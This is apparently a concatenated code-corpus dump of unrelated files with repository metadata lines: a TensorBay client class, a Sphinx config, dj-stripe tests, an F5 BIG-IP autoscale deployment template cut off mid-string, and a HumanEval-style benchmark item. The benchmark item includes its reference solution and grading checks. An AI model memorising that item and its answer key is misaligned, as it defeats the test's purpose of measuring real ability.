:class:`FusionSegmentClient` inherits from :class:`SegmentClientBase` and provides methods within a fusion segment scope, such as :meth:`FusionSegmentClient.upload_sensor`, :meth:`FusionSegmentClient.upload_frame` and :meth:`FusionSegmentClient.list_frames`. In contrast to :class:`SegmentClient`, :class:`FusionSegmentClient` has multiple sensors. """ _dataset_client: "FusionDatasetClient" def __init__(self, name: str, data_client: "FusionDatasetClient") -> None: super().__init__(name, data_client) def _generate_frames(self, offset: int = 0, limit: int = 128) -> Generator[Frame, None, int]: response = self._list_data_details(offset, limit) url_page = LazyPage.from_items( offset, limit, self._generate_urls, ( {frame["sensorName"]: frame["url"] for frame in item["frame"]} for item in response["dataDetails"] ), ) for index, item in enumerate(response["dataDetails"]): yield Frame.from_response_body(item, index, url_page, cache_path=self._cache_path) return response["totalCount"] # type: ignore[no-any-return] def _generate_urls( self, offset: int = 0, limit: int = 128 ) -> Generator[Dict[str, str], None, int]: response = self._list_urls(offset, limit) for frame in response["urls"]: yield {item["sensorName"]: item["url"] for item in frame["urls"]} return response["totalCount"] # type: ignore[no-any-return] def _upload_or_import_data( self, data: Union[Data, AuthData], sensor_name: str, frame_id: str, ) -> Optional[Dict[str, Any]]: callback_body = data.get_callback_body() callback_body["frameId"] = frame_id callback_body["sensorName"] = sensor_name if isinstance(data, Data): self._upload_file(data) self._upload_mask_files(data.label) return callback_body self._synchronize_import_info((callback_body,)) return None def get_sensors(self) -> Sensors: """Return the sensors in a fusion segment client. Returns: The :class:`sensors<~tensorbay.sensor.sensor.Sensors>` in the fusion segment client. """ params: Dict[str, Any] = {"segmentName": self._name} params.update(self._status.get_status_info()) response = self._client.open_api_do( "GET", "sensors", self._dataset_id, params=params ).json() return Sensors.loads(response["sensors"]) def upload_sensor(self, sensor: Sensor) -> None: """Upload sensor to the draft. Arguments: sensor: The sensor to upload. """ self._status.check_authority_for_draft() post_data = sensor.dumps() post_data.update(self._status.get_status_info()) post_data["segmentName"] = self._name self._client.open_api_do("POST", "sensors", self._dataset_id, json=post_data) def delete_sensor(self, sensor_name: str) -> None: """Delete a TensorBay sensor of the draft with the given sensor name. Arguments: sensor_name: The TensorBay sensor to delete. """ self._status.check_authority_for_draft() delete_data: Dict[str, Any] = {"segmentName": self._name, "sensorName": sensor_name} delete_data.update(self._status.get_status_info()) self._client.open_api_do("DELETE", "sensors", self._dataset_id, json=delete_data) def upload_frame(self, frame: Frame, timestamp: Optional[float] = None) -> None: """Upload frame to the draft. Arguments: frame: The :class:`~tensorbay.dataset.frame.Frame` to upload. timestamp: The mark to sort frames, supporting timestamp and float. Raises: FrameError: When lacking frame id or frame id conflicts. """ self._status.check_authority_for_draft() if timestamp is None: try: frame_id = frame.frame_id except AttributeError as error: raise FrameError( "Lack frame id, please add frame id in frame or " "give timestamp to the function!" ) from error elif not hasattr(frame, "frame_id"): frame_id = from_timestamp(timestamp) else: raise FrameError("Frame id conflicts, please do not give timestamp to the function!.") callback_bodies = [] for sensor_name, data in frame.items(): try: callback_body = data.get_callback_body() # type:ignore[union-attr] except AttributeError: continue callback_body["frameId"] = frame_id.str callback_body["sensorName"] = sensor_name if isinstance(data, Data): self._upload_file(data) self._upload_mask_files(data.label) callback_bodies.append(callback_body) elif isinstance(data, AuthData): self._synchronize_import_info((callback_body,)) for chunked_callback_bodies in chunked(callback_bodies, 50): self._synchronize_upload_info(chunked_callback_bodies) def list_frames(self) -> PagingList[Frame]: """List required frames in the segment in a certain commit. Returns: The PagingList of :class:`~tensorbay.dataset.frame.Frame`. """ return PagingList(self._generate_frames, 128) def delete_frame(self, frame_id: Union[str, ULID]) -> None: """Delete a frame of a segment in a certain commit with the given frame id. Arguments: frame_id: The id of a frame in a segment. """ self._status.check_authority_for_draft() delete_data: Dict[str, Any] = { "segmentName": self.name, "frameId": str(frame_id), } delete_data.update(self._status.get_status_info()) self._client.open_api_do("DELETE", "frames", self._dataset_id, json=delete_data) def list_urls(self) -> PagingList[Dict[str, str]]: """List the data urls in this segment. Returns: The PagingList of url dict, which key is the sensor name, value is the url. """ urls = PagingList(self._generate_urls, 128) urls._repr_maxlevel = 2 # pylint: disable=protected-access return urls
35.590679
100
0.602881
79594f7d99365467aff33d3b1dcba308dda8e337
5,358
py
Python
docs/conf.py
dipperwang5/molssi
d563c0e7508bf97aaf1dc024c647af953e232349
[ "BSD-3-Clause" ]
null
null
null
docs/conf.py
dipperwang5/molssi
d563c0e7508bf97aaf1dc024c647af953e232349
[ "BSD-3-Clause" ]
null
null
null
docs/conf.py
dipperwang5/molssi
d563c0e7508bf97aaf1dc024c647af953e232349
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- # # Configuration file for the Sphinx documentation builder. # # This file does only contain a selection of the most common options. For a # full list see the documentation: # http://www.sphinx-doc.org/en/stable/config # -- Path setup -------------------------------------------------------------- # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. # Incase the project was not installed import os import sys sys.path.insert(0, os.path.abspath('..')) import molecule # -- Project information ----------------------------------------------------- project = 'molecule' copyright = ("2021, Ke Wang. Project structure based on the " "Computational Molecular Science Python Cookiecutter version 1.5") author = 'Ke Wang' # The short X.Y version version = '' # The full version, including alpha/beta/rc tags release = '' # -- General configuration --------------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. # # needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'sphinx.ext.autosummary', 'sphinx.ext.autodoc', 'sphinx.ext.mathjax', 'sphinx.ext.viewcode', 'sphinx.ext.napoleon', 'sphinx.ext.intersphinx', 'sphinx.ext.extlinks', ] autosummary_generate = True napoleon_google_docstring = False napoleon_use_param = False napoleon_use_ivar = True # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The master toctree document. master_doc = 'index' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = None # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This pattern also affects html_static_path and html_extra_path . exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'default' # -- Options for HTML output ------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = 'sphinx_rtd_theme' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # Custom sidebar templates, must be a dictionary that maps document names # to template names. # # The default sidebars (for documents that don't match any pattern) are # defined by theme itself. Builtin themes are using these templates by # default: ``['localtoc.html', 'relations.html', 'sourcelink.html', # 'searchbox.html']``. # # html_sidebars = {} # -- Options for HTMLHelp output --------------------------------------------- # Output file base name for HTML help builder. htmlhelp_basename = 'moleculedoc' # -- Options for LaTeX output ------------------------------------------------ latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, 'molecule.tex', 'molecule Documentation', 'molecule', 'manual'), ] # -- Options for manual page output ------------------------------------------ # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ (master_doc, 'molecule', 'molecule Documentation', [author], 1) ] # -- Options for Texinfo output ---------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'molecule', 'molecule Documentation', author, 'molecule', 'A Python package for analyzing and visualizing xyz files. For MolSSI Workshop Python Package development workshop.', 'Miscellaneous'), ] # -- Extension configuration -------------------------------------------------
30.617143
142
0.658455
79594fc5e5280cbd58c23a398173c7c4673a8a84
885
py
Python
human_eval/5918fa1d-8ddd-4a93-8a62-6a434c0078af.py
LaudateCorpus1/code-align-evals-data
97446d992c3785d6605f1500b2c9b95d042e7b9c
[ "MIT" ]
3
2021-07-29T23:40:15.000Z
2021-08-12T10:18:09.000Z
human_eval/5918fa1d-8ddd-4a93-8a62-6a434c0078af.py
openai/code-align-evals-data
97446d992c3785d6605f1500b2c9b95d042e7b9c
[ "MIT" ]
1
2021-09-19T06:44:15.000Z
2021-09-19T06:44:15.000Z
human_eval/5918fa1d-8ddd-4a93-8a62-6a434c0078af.py
LaudateCorpus1/code-align-evals-data
97446d992c3785d6605f1500b2c9b95d042e7b9c
[ "MIT" ]
1
2021-09-19T06:44:03.000Z
2021-09-19T06:44:03.000Z
ENTRY_POINT = 'generate_integers' #[PROMPT] def generate_integers(a, b): """ Given two positive integers a and b, return the even digits between a and b, in ascending order. For example: generate_integers(2, 8) => [2, 4, 6, 8] generate_integers(8, 2) => [2, 4, 6, 8] generate_integers(10, 14) => [] """ #[SOLUTION] lower = max(2, min(a, b)) upper = min(8, max(a, b)) return [i for i in range(lower, upper+1) if i % 2 == 0] #[CHECK] def check(candidate): # Check some simple cases assert candidate(2, 10) == [2, 4, 6, 8], "Test 1" assert candidate(10, 2) == [2, 4, 6, 8], "Test 2" assert candidate(132, 2) == [2, 4, 6, 8], "Test 3" assert candidate(17,89) == [], "Test 4" # Check some edge cases that are easy to work out by hand. assert True, "This prints if this assert fails 2 (also good for debugging!)"
28.548387
80
0.59774
7959521bc1901c942c15594321f5e10a2971485f
2,186
py
Python
tests/test_mixins.py
star302b/dj-stripe
1d26394414515c4f3ada7132b0eae8f793a0badd
[ "MIT" ]
null
null
null
tests/test_mixins.py
star302b/dj-stripe
1d26394414515c4f3ada7132b0eae8f793a0badd
[ "MIT" ]
null
null
null
tests/test_mixins.py
star302b/dj-stripe
1d26394414515c4f3ada7132b0eae8f793a0badd
[ "MIT" ]
null
null
null
""" .. module:: dj-stripe.tests.test_mixins :synopsis: dj-stripe Mixin Tests. .. moduleauthor:: Alex Kavanaugh (@kavdev) """ from copy import deepcopy from django.contrib.auth import get_user_model from django.test.client import RequestFactory from django.test.testcases import TestCase from mock import patch from djstripe.mixins import PaymentsContextMixin, SubscriptionMixin from djstripe.models import Plan from tests import FAKE_CUSTOMER, FAKE_PLAN, FAKE_PLAN_II class TestPaymentsContextMixin(TestCase): def test_get_context_data(self): from django.conf import settings class TestSuperView(object): def get_context_data(self): return {} class TestView(PaymentsContextMixin, TestSuperView): pass context = TestView().get_context_data() self.assertIn("STRIPE_PUBLIC_KEY", context, "STRIPE_PUBLIC_KEY missing from context.") self.assertEqual(context["STRIPE_PUBLIC_KEY"], settings.STRIPE_PUBLIC_KEY, "Incorrect STRIPE_PUBLIC_KEY.") self.assertIn("plans", context, "pans missing from context.") self.assertEqual(list(Plan.objects.all()), list(context["plans"]), "Incorrect plans.") class TestSubscriptionMixin(TestCase): def setUp(self): Plan.sync_from_stripe_data(deepcopy(FAKE_PLAN)) Plan.sync_from_stripe_data(deepcopy(FAKE_PLAN_II)) @patch("stripe.Customer.create", return_value=deepcopy(FAKE_CUSTOMER)) def test_get_context_data(self, stripe_create_customer_mock): class TestSuperView(object): def get_context_data(self): return {} class TestView(SubscriptionMixin, TestSuperView): pass test_view = TestView() test_view.request = RequestFactory() test_view.request.user = get_user_model().objects.create(username="x", email="user@test.com") context = test_view.get_context_data() self.assertIn("is_plans_plural", context, "is_plans_plural missing from context.") self.assertTrue(context["is_plans_plural"], "Incorrect is_plans_plural.") self.assertIn("customer", context, "customer missing from context.")
32.626866
114
0.712717
795952457934fef219874e07eb8d18d9e54bf29a
40,818
py
Python
experimental/autoscale/waf/via-lb/existing-stack/payg/f5-payg-autoscale-bigip-waf.py
memes/f5-google-gdm-templates
177dee253607cfe9cc29ab2d06ed2598aeb85e3a
[ "Apache-2.0" ]
33
2017-05-17T06:38:28.000Z
2021-10-10T20:38:54.000Z
experimental/autoscale/waf/via-lb/existing-stack/payg/f5-payg-autoscale-bigip-waf.py
F5Networks/f5-google-gdm-templates
a19825b975b7f6f98edcc54622a4d6f2cf1cfa75
[ "Apache-2.0" ]
71
2018-05-18T16:43:29.000Z
2022-03-30T20:05:22.000Z
experimental/autoscale/waf/via-lb/existing-stack/payg/f5-payg-autoscale-bigip-waf.py
F5Networks/f5-google-gdm-templates
a19825b975b7f6f98edcc54622a4d6f2cf1cfa75
[ "Apache-2.0" ]
52
2017-09-15T23:06:37.000Z
2022-03-09T08:41:06.000Z
# Copyright 2021 F5 Networks All rights reserved. # # Version 3.14.0 """Creates BIG-IP""" COMPUTE_URL_BASE = 'https://www.googleapis.com/compute/v1/' def Storage(context,storageName): # Build storage container storage = { 'name': storageName, 'type': 'storage.v1.bucket', 'properties': { 'project': context.env['project'], 'name': storageName, } } return storage def Instance(context,storageName,deployment): # Build instance template instance = { 'name': 'bigip-' + deployment, 'type': 'compute.v1.instanceTemplate', 'properties': { 'properties': { 'canIpForward': True, 'tags': { 'items': ['mgmtfw-' + context.env['deployment'],'appfw-' + context.env['deployment'],'syncfw-' + context.env['deployment'],] }, 'labels': { 'f5_deployment': context.env['deployment'] }, 'machineType': context.properties['instanceType'], 'serviceAccounts': [{ 'email': context.properties['serviceAccount'], 'scopes': ['https://www.googleapis.com/auth/compute','https://www.googleapis.com/auth/devstorage.read_write','https://www.googleapis.com/auth/pubsub'] }], 'disks': [{ 'deviceName': 'boot', 'type': 'PERSISTENT', 'boot': True, 'autoDelete': True, 'initializeParams': { 'sourceImage': ''.join([COMPUTE_URL_BASE, 'projects/f5-7626-networks-public', '/global/images/', context.properties['imageName'], ]) } }], 'networkInterfaces': [{ 'network': ''.join([COMPUTE_URL_BASE, 'projects/', context.env['project'], '/global/networks/', context.properties['mgmtNetwork']]), 'subnetwork': ''.join([COMPUTE_URL_BASE, 'projects/', context.env['project'], '/regions/', context.properties['region'], '/subnetworks/', context.properties['mgmtSubnet']]), 'accessConfigs': [{ 'name': 'Management NAT', 'type': 'ONE_TO_ONE_NAT' }], }], 'metadata': Metadata(context,storageName,deployment) } } } return instance def Igm(context,deployment): # Build instance group manager igm = { 'name': deployment + '-igm', 'type': 'compute.v1.instanceGroupManager', 'properties': { 'baseInstanceName': deployment + '-bigip', 'instanceTemplate': ''.join(['$(ref.', 'bigip-' + deployment, '.selfLink)']), 'targetSize': int(context.properties['targetSize']), 'targetPools': ['$(ref.' + deployment + '-tp.selfLink)'], 'zone': context.properties['availabilityZone1'], } } return igm def Autoscaler(context,deployment): # Build autoscaler autoscaler = { 'name': deployment + 'big-ip-as', 'type': 'compute.v1.autoscalers', 'properties': { 'zone': context.properties['availabilityZone1'], 'target': '$(ref.' + deployment + '-igm.selfLink)', 'autoscalingPolicy': { "minNumReplicas": int(context.properties['minReplicas']), 'maxNumReplicas': int(context.properties['maxReplicas']), 'cpuUtilization': { 'utilizationTarget': float(context.properties['cpuUtilization']) }, 'coolDownPeriodSec': int(context.properties['coolDownPeriod']) } }, } return autoscaler def HealthCheck(context,deployment): # Build health autoscaler health check healthCheck = { 'name': deployment, 'type': 'compute.v1.httpHealthCheck', 'properties': { 'port': int(context.properties['applicationPort']), 'host': str(context.properties['applicationDnsName']), } } return healthCheck def TargetPool(context,deployment): # Build lb target pool targetPool = { 'name': deployment + '-tp', 'type': 'compute.v1.targetPool', 'properties': { 'region': context.properties['region'], 'healthChecks': ['$(ref.' + deployment + '.selfLink)'], 'sessionAffinity': 'CLIENT_IP', } } return targetPool def ForwardingRule(context,deployment): # Build forwarding rule forwardingRule = { 'name': deployment + '-fr', 'type': 'compute.v1.forwardingRule', 'properties': { 'region': context.properties['region'], 'IPProtocol': 'TCP', 'target': '$(ref.' + deployment + '-tp.selfLink)', 'loadBalancingScheme': 'EXTERNAL', } } return forwardingRule def FirewallRuleSync(context): # Build Sync traffic firewall rule firewallRuleSync = { 'name': 'syncfw-' + context.env['deployment'], 'type': 'compute.v1.firewall', 'properties': { 'network': ''.join([COMPUTE_URL_BASE, 'projects/', context.env['project'], '/global/networks/', context.properties['mgmtNetwork']]), 'targetTags': ['syncfw-'+ context.env['deployment']], 'sourceTags': ['syncfw-'+ context.env['deployment']], 'allowed': [{ 'IPProtocol': 'TCP', 'ports': ['4353'] },{ 'IPProtocol': 'UDP', 'ports': ['1026'], },{ "IPProtocol": "TCP", "ports": ['6123-6128'], }, ] } } return firewallRuleSync def FirewallRuleApp(context): # Build Application firewall rule firewallRuleApp = { 'name': 'appfw-' + context.env['deployment'], 'type': 'compute.v1.firewall', 'properties': { 'network': ''.join([COMPUTE_URL_BASE, 'projects/', context.env['project'], '/global/networks/', context.properties['mgmtNetwork']]), 'sourceRanges': ['0.0.0.0/0'], 'targetTags': ['appfw-'+ context.env['deployment']], 'allowed': [{ "IPProtocol": "TCP", "ports": [str(context.properties['applicationPort'])], }, ] } } return firewallRuleApp def FirewallRuleMgmt(context): # Build Management firewall rule firewallRuleMgmt = { 'name': 'mgmtfw-' + context.env['deployment'], 'type': 'compute.v1.firewall', 'properties': { 'network': ''.join([COMPUTE_URL_BASE, 'projects/', context.env['project'], '/global/networks/', context.properties['mgmtNetwork']]), 'sourceRanges': ['0.0.0.0/0'], 'targetTags': ['mgmtfw-'+ context.env['deployment']], 'allowed': [{ "IPProtocol": "TCP", "ports": ['8443','22'], }, ] } } return firewallRuleMgmt def Metadata(context,storageName,deployment): # Build metadata ALLOWUSAGEANALYTICS = str(context.properties['allowUsageAnalytics']) if ALLOWUSAGEANALYTICS == "yes": CUSTHASH = 'CUSTOMERID=`curl -s "http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id" -H "Metadata-Flavor: Google" |sha512sum|cut -d " " -f 1`;\nDEPLOYMENTID=`curl -s "http://metadata.google.internal/computeMetadata/v1/instance/id" -H "Metadata-Flavor: Google"|sha512sum|cut -d " " -f 1`;' SENDANALYTICS = ' --metrics "cloudName:google,region:' + context.properties['region'] + ',bigipVersion:' + context.properties['imageName'] + ',customerId:${CUSTOMERID},deploymentId:${DEPLOYMENTID},templateName:f5-payg-autoscale-bigip-waf.py,templateVersion:3.14.0,licenseType:payg"' else: CUSTHASH = 'echo "No analytics."' SENDANALYTICS = '' # Provisioning modules PROVISIONING_MODULES = ','.join(context.properties['bigIpModules'].split('-')) ## generate metadata metadata = { 'items': [{ 'key': 'startup-script', 'value': ('\n'.join(['#!/bin/bash', 'if [ -f /config/startupFinished ]; then', ' exit', 'fi', 'mkdir -p /config/cloud/gce', 'cat <<\'EOF\' > /config/installCloudLibs.sh', '#!/bin/bash', 'echo about to execute', 'checks=0', 'while [ $checks -lt 120 ]; do echo checking mcpd', ' tmsh -a show sys mcp-state field-fmt | grep -q running', ' if [ $? == 0 ]; then', ' echo mcpd ready', ' break', ' fi', ' echo mcpd not ready yet', ' let checks=checks+1', ' sleep 10', 'done', 'echo loading verifyHash script', 'if ! tmsh load sys config merge file /config/verifyHash; then', ' echo cannot validate signature of /config/verifyHash', ' exit', 'fi', 'echo loaded verifyHash', 'declare -a filesToVerify=(\"/config/cloud/f5-cloud-libs.tar.gz\" \"/config/cloud/f5-cloud-libs-gce.tar.gz\" \"/var/config/rest/downloads/f5-appsvcs-3.31.0-6.noarch.rpm\")', 'for fileToVerify in \"${filesToVerify[@]}\"', 'do', ' echo verifying \"$fileToVerify\"', ' if ! tmsh run cli script verifyHash \"$fileToVerify\"; then', ' echo \"$fileToVerify\" is not valid', ' exit 1', ' fi', ' echo verified \"$fileToVerify\"', 'done', 'mkdir -p /config/cloud/gce/node_modules/@f5devcentral', 'echo expanding f5-cloud-libs.tar.gz', 'tar xvfz /config/cloud/f5-cloud-libs.tar.gz -C /config/cloud/gce/node_modules/@f5devcentral', 'echo expanding f5-cloud-libs-gce.tar.gz', 'tar xvfz /config/cloud/f5-cloud-libs-gce.tar.gz -C /config/cloud/gce/node_modules/@f5devcentral', 'echo "expanding waf policies"', 'tar xvfz /config/cloud/asm-policy-linux.tar.gz -C /config/cloud', 'echo cloud libs install complete', 'touch /config/cloud/cloudLibsReady', 'EOF', 'echo \'Y2xpIHNjcmlwdCAvQ29tbW9uL3ZlcmlmeUhhc2ggewpwcm9jIHNjcmlwdDo6cnVuIHt9IHsKICAgICAgICBpZiB7W2NhdGNoIHsKICAgICAgICAgICAgc2V0IGhhc2hlcyhmNS1jbG91ZC1saWJzLnRhci5neikgZThkOTYyZTI5NWE2MDY4NzMxMGI1MGNiZjEwODVjM2JjNjljNzZjMjk0MzljYmNlNjE0MWE1Njc3ZDg5ZmZhZGRlOWFhMWU3MzA4YTg1NDQ4NmFhYmE3OThjZTk4ZTM1YmQyNWZlYjlmY2M2ZDk0MDJhOWI3MmVjODc4NTYzNjEKICAgICAgICAgICAgc2V0IGhhc2hlcyhmNS1jbG91ZC1saWJzLWF3cy50YXIuZ3opIDA5MWVhN2IxOGFjYTdmMThhMGVjMzc3YTY4ODZkNWQ2NjZjYzgxMzQ5ZWFmYTU3MjVhYjA3NThkZGNjMTdjMTBlMDM3MzcxOTUzODRlYWZkNjNjMTE3ZDI1OTEzYzE1YTExMjg0ZDJjYzNiMjIxZDdiYTNjMzE0MjIxNzIxNDJiCiAgICAgICAgICAgIHNldCBoYXNoZXMoZjUtY2xvdWQtbGlicy1henVyZS50YXIuZ3opIGU3OTczYTFmZTg1YjVhODMyYzVlY2QxY2ZjZTY2YjQzYjg0ZTQyY2YyYTA2YjI3NTE3MzRmNzk4MTJkZTE4N2VlMWFkODczMGExMjljYjA4MTk4YTQ1MjE1N2M0NjZiYjg3MTgwYzE3ZGZkMmUwOWI0OWJlNmVmZTllOWE1N2ZlCiAgICAgICAgICAgIHNldCBoYXNoZXMoZjUtY2xvdWQtbGlicy1nY2UudGFyLmd6KSBjZDk1YTVjYzM2YzM5ZjgwZjk1NDc2YWQwMDBmN2RjYzIxYTlmZWY0MTRjOGVkYWM4MmJlMmU0OTFjMGZhOWViYTUxYjE0NWY3NWJhMGYzYzBkYWU0OGUxYzczMTQzMjIxN2IzYmI3MDBmNzFmZTE5MTIxNTJkYmU0MzllODk2NwogICAgICAgICAgICBzZXQgaGFzaGVzKGY1LWNsb3VkLWxpYnMtb3BlbnN0YWNrLnRhci5neikgNWM4M2ZlNmE5M2E2ZmNlYjVhMmU4NDM3YjVlZDhjYzlmYWY0YzE2MjFiZmM5ZTZhMDc3OWY2YzIxMzdiNDVlYWI4YWUwZTdlZDc0NWM4Y2Y4MjFiOTM3MTI0NWNhMjk3NDljYTBiN2U1NjYzOTQ5ZDc3NDk2Yjg3MjhmNGIwZjkKICAgICAgICAgICAgc2V0IGhhc2hlcyhmNS1jbG91ZC1saWJzLWNvbnN1bC50YXIuZ3opIGEzMmFhYjM5NzA3M2RmOTJjYmJiYTUwNjdlNTgyM2U5YjVmYWZjYTg2MmEyNThiNjBiNmI0MGFhMDk3NWMzOTg5ZDFlMTEwZjcwNjE3N2IyZmZiZTRkZGU2NTMwNWEyNjBhNTg1NjU5NGNlN2FkNGVmMGM0N2I2OTRhZTRhNTEzCiAgICAgICAgICAgIHNldCBoYXNoZXMoYXNtLXBvbGljeS1saW51eC50YXIuZ3opIDYzYjVjMmE1MWNhMDljNDNiZDg5YWYzNzczYmJhYjg3YzcxYTZlN2Y2YWQ5NDEwYjIyOWI0ZTBhMWM0ODNkNDZmMWE5ZmZmMzlkOTk0NDA0MWIwMmVlOTI2MDcyNDAyNzQxNGRlNTkyZTk5ZjRjMjQ3NTQxNTMyM2UxOGE3MmUwCiAgICAgICAgICAgIHNldCBoYXNoZXMoZjUuaHR0cC52MS4yLjByYzQudG1wbCkgNDdjMTlhODNlYmZjN2JkMWU5ZTljMzVmMzQyNDk0NWVmODY5NGFhNDM3ZWVkZDE3YjZhMzg3Nzg4ZDRkYjEzOTZmZWZlNDQ1MTk5YjQ5NzA2NGQ3Njk2N2IwZDUwMjM4MTU0MTkwY2EwYmQ3Mzk0MTI5OGZjMjU3ZGY0ZGMwMzQKICAgICAgICAgICAgc2V0IGhhc2hlcyhmNS5odHRwLnYxLjIuMHJjNi50bXBsKSA4MTFiMTRiZmZhYWI1ZWQwMzY1ZjAxMDZiYjVjZTVlNGVjMjIzODU2NTVlYTNhYzA0ZGUyYTM5YmQ5OTQ0ZjUxZTM3MTQ2MTlkYWU3Y2E0MzY2MmM5NTZiNTIxMjIyODg1OGYwNTkyNjcyYTI1NzlkNGE4Nzc2OTE4NmUyY2JmZQogICAgICAgICAgICBzZXQgaGFzaGVzKGY1Lmh0dHAudjEuMi4wcmM3LnRtcGwpIDIxZjQxMzM0MmU5YTdhMjgxYTBmMGUxMzAxZTc0NWFhODZhZjIxYTY5N2QyZTZmZGMyMWRkMjc5NzM0OTM2NjMxZTkyZjM0YmYxYzJkMjUwNGMyMDFmNTZjY2Q3NWM1YzEzYmFhMmZlNzY1MzIxMzY4OWVjM2M5ZTI3ZGZmNzdkCiAgICAgICAgICAgIHNldCBoYXNoZXMoZjUuYXdzX2FkdmFuY2VkX2hhLnYxLjMuMHJjMS50bXBsKSA5ZTU1MTQ5YzAxMGMxZDM5NWFiZGFlM2MzZDJjYjgzZWMxM2QzMWVkMzk0MjQ2OTVlODg2ODBjZjNlZDVhMDEzZDYyNmIzMjY3MTFkM2Q0MGVmMmRmNDZiNzJkNDE0YjRjYjhlNGY0NDVlYTA3MzhkY2JkMjVjNGM4NDNhYzM5ZAogICAgICAgICAgICBzZXQgaGFzaGVzKGY1LmF3c19hZHZhbmNlZF9oYS52MS40LjByYzEudG1wbCkgZGUwNjg0NTUyNTc0MTJhOTQ5ZjFlYWRjY2FlZTg1MDYzNDdlMDRmZDY5YmZiNjQ1MDAxYjc2ZjIwMDEyNzY2OGU0YTA2YmUyYmJiOTRlMTBmZWZjMjE1Y2ZjMzY2NWIwNzk0NWU2ZDczM2NiZTFhNGZhMWI4OGU4ODE1OTAzOTYKICAgICAgICAgICAgc2V0IGhhc2hlcyhmNS5hd3NfYWR2YW5jZWRfaGEudjEuNC4wcmMyLnRtcGwpIDZhYjBiZmZjNDI2ZGY3ZDMxOTEzZjlhNDc0YjFhMDc4NjA0MzVlMzY2YjA3ZDc3YjMyMDY0YWNmYjI5NTJjMWYyMDdiZWFlZDc3MDEzYTE1ZTQ0ZDgwZDc0ZjMyNTNlN2NmOWZiYmUxMmE5MGVjNzEyOGRlNmZhY2QwOTdkNjhmCiAgICAgICAgICAgIHNldCBoYXNoZXMoZjUuYXdzX2FkdmFuY2VkX2hhLnYxLjQuMHJjMy50bXBsKSAyZjIzMzliNGJjM2EyM2M5Y2ZkNDJhYWUyYTZkZTM5YmEwNjU4MzY2ZjI1OTg1ZGUyZWE1MzQxMGE3NDVmMGYxOGVlZGM0OTFiMjBmNGE4ZGJhOGRiNDg5NzAwOTZlMmVmZGNhN2I4ZWZmZmExYTgzYTc4ZTVhYWRmMjE4YjEzNAogICAgICAgICAgICBzZXQgaGFzaGVzKGY1LmF3c19hZHZhbmNlZF9oYS52MS40LjByYzQudG1wbCkgMjQxOGFjOGIxZjE4ODRjNWMwOTZjYmFjNmE5NGQ0MDU5YWFhZjA1OTI3YTZhNDUwOGZkMWYyNWI4Y2M2MDc3NDk4ODM5ZmJkZGE4MTc2ZDJjZjJkMjc0YTI3ZTZhMWRhZTJhMWUzYTBhOTk5MWJjNjVmYzc0ZmMwZDAyY2U5NjMKICAgICAgICAgICAgc2V0IGhhc2hlcyhmNS5hd3NfYWR2YW5jZWRfaGEudjEuNC4wcmM1LnRtcGwpIDVlNTgyMTg3YWUxYTYzMjNlMDk1ZDQxZWRkZDQxMTUxZDZiZDM4ZWI4M2M2MzQ0MTBkNDUyN2EzZDBlMjQ2YThmYzYyNjg1YWIwODQ5ZGUyYWRlNjJiMDI3NWY1MTI2NGQyZGVhY2NiYzE2Yjc3MzQxN2Y4NDdhNGExZWE5YmM0CiAgICAgICAgICAgIHNldCBoYXNoZXMoYXNtLXBvbGljeS50YXIuZ3opIDJkMzllYzYwZDAwNmQwNWQ4YTE1NjdhMWQ4YWFlNzIyNDE5ZThiMDYyYWQ3N2Q2ZDlhMzE2NTI5NzFlNWU2N2JjNDA0M2Q4MTY3MWJhMmE4YjEyZGQyMjllYTQ2ZDIwNTE0NGY3NTM3NGVkNGNhZTU4Y2VmYThmOWFiNjUzM2U2CiAgICAgICAgICAgIHNldCBoYXNoZXMoZGVwbG95X3dhZi5zaCkgMWEzYTNjNjI3NGFiMDhhN2RjMmNiNzNhZWRjOGQyYjJhMjNjZDllMGViMDZhMmUxNTM0YjM2MzJmMjUwZjFkODk3MDU2ZjIxOWQ1YjM1ZDNlZWQxMjA3MDI2ZTg5OTg5Zjc1NDg0MGZkOTI5NjljNTE1YWU0ZDgyOTIxNGZiNzQKICAgICAgICAgICAgc2V0IGhhc2hlcyhmNS5wb2xpY3lfY3JlYXRvci50bXBsKSAwNjUzOWUwOGQxMTVlZmFmZTU1YWE1MDdlY2I0ZTQ0M2U4M2JkYjFmNTgyNWE5NTE0OTU0ZWY2Y2E1NmQyNDBlZDAwYzdiNWQ2N2JkOGY2N2I4MTVlZTlkZDQ2NDUxOTg0NzAxZDA1OGM4OWRhZTI0MzRjODk3MTVkMzc1YTYyMAogICAgICAgICAgICBzZXQgaGFzaGVzKGY1LnNlcnZpY2VfZGlzY292ZXJ5LnRtcGwpIDQ4MTFhOTUzNzJkMWRiZGJiNGY2MmY4YmNjNDhkNG